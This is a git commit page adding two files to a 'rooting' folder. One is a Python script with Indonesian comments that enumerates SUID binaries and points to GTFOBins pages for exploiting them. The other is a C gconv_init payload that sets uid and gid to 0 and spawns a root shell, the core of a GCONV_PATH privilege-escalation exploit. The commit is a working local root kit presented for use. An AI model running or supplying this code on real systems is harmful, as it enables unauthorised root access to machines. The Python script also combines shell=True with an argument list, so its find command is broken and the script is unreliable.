Rooting: Binary Checking
This commit is contained in:
parent
d5e43f65e1
commit
1437d767e4
29
rooting/binary-cek.py
Normal file
29
rooting/binary-cek.py
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
# author: syn
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
def find_suid_binaries():
|
||||||
|
"""Mencari binary dengan SUID bit diaktifkan."""
|
||||||
|
result = subprocess.run(["find", "/", "-perm", "-4000", "-type", "f", "2>/dev/null"], capture_output=True, text=True, shell=True)
|
||||||
|
suid_binaries = result.stdout.split("\n")
|
||||||
|
return [binary for binary in suid_binaries if binary]
|
||||||
|
|
||||||
|
def check_exploitable(binary):
|
||||||
|
"""Cek apakah binary bisa dieksploitasi dengan GTFOBins."""
|
||||||
|
gtfo_url = f"https://gtfobins.github.io/gtfobins/{os.path.basename(binary)}/"
|
||||||
|
print(f"[*] Cek eksploitasi: {binary}\n[*] Cek referensi: {gtfo_url}")
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print("[+] Mencari binary SUID...")
|
||||||
|
suid_binaries = find_suid_binaries()
|
||||||
|
if not suid_binaries:
|
||||||
|
print("[-] Tidak ditemukan binary SUID.")
|
||||||
|
return
|
||||||
|
|
||||||
|
print("[+] Binary SUID ditemukan:")
|
||||||
|
for binary in suid_binaries:
|
||||||
|
print(f" - {binary}")
|
||||||
|
check_exploitable(binary)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
9
rooting/gconv.c
Normal file
9
rooting/gconv.c
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
void gconv() {}
|
||||||
|
void gconv_init() {
|
||||||
|
setuid(0);
|
||||||
|
setgid(0);
|
||||||
|
system("/bin/sh");
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user